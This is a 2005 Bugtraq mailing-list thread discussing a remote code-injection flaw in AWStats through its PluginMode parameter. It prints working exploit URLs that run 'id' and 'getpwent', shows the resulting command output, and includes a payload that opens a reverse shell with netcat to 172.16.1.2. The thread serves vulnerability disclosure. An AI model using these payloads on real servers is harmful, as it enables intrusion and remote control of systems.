bugtraq - Re: AWStats <= 6.4 Multiple vulnerabilities

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Date: Tue, 15 Feb 2005 20:52:08 +0100
From: Ondra Holecek <bln@...rese.net>
To: jpratt@...wich.edu
Cc: bugtraq@...urityfocus.com
Subject: Re: AWStats <= 6.4 Multiple vulnerabilities - can't reproduce in
 6.3?


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It seems this bug works only on my server, i dont know why

/awstats.pl?&PluginMode=:print+system('id')+;

reply:

uid=99(nobody) gid=4294967295 groups=4294967295,98(nobody) 256
Error:

Setup ('/usr/local/etc/awstats/awstats.conf' file, web server or
permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs'
directory).


awstats: Advanced Web Statistics 6.1 (build 1.751)  (original)
perl: This is perl, v5.8.5 built for i586-linux
os: Linux xxx.tld 2.4.22 #4 Wed Jul 7 21:07:03 CEST 2004 i586 unknown
unknown GNU/Linux

Ondra


Jamie Pratt wrote:
| So what are the conditions of this bug/vuln?  I can't reproduce this on
| several 6.3 installs..:
|
| awstats 6.3 from source:
|
| request:
|
|
http://www.site.org/awstats/cgi-bin/awstats.pl?&PluginMode=:print+system('id')+;

|
|
| output:
| ****************
| Error: Can't locate object method "BuildFullHTMLOutput_print" via
| package "systemid" (perhaps you forgot to load "systemid"?) at (eval 1)
| line 1.
|
| Setup ('/etc/awstats/awstats.www.site.org.conf' file, web server or
| permissions) may be wrong.
| Check config file, permissions and AWStats documentation (in 'docs'
| directory).
| ***************
|
| regards,
| jamie
|
| Ondra Holecek wrote:
|
|>
|>
|> GHC@....securityfocus.com wrote:
|> |
|> | /*==========================================*/
|> | // GHC -> AWStats <- ADVISORY
|> | \\ PRODUCT: AWStats
|> | // VERSION: <= 6.3
|> | \\ URL: http://awstats.sourceforge.net/
|> | // VULNERABILITY CLASS: Multiple vulnerabilities
|> | \\ RISK: high
|> | /*==========================================*/
|>
|> [...]
|>
|> |
|> | PluginMode=:print+getpwent
|> |
|> | And the $function becomes 'BuildFullHTMLOutput_:print getpwent()'.
|> | This will satisfy eval() requirements., and :print getpwent() is
|> executed.
|> |
|> |
|>
http://www.lan.server/cgi-bin/awstats-6.4/awstats.pl?&PluginMode=:print+getpwent

|>
|> |
|> | Sanitazing limits user's input, but there is no filtration for call
|> sympols '()'.
|>
|> no, user is not limited, he can execute ANY command if he add ; at the
|> end of the command, try this
|>
|> awstats.pl?&PluginMode=:print+system('id')+;
|>
|> or even this
|>
|> awstats.pl?&PluginMode=:print+system('nc+172.16.1.2+3000+-e+/bin/sh')+;
|>
|>
|> Ondra
|
|


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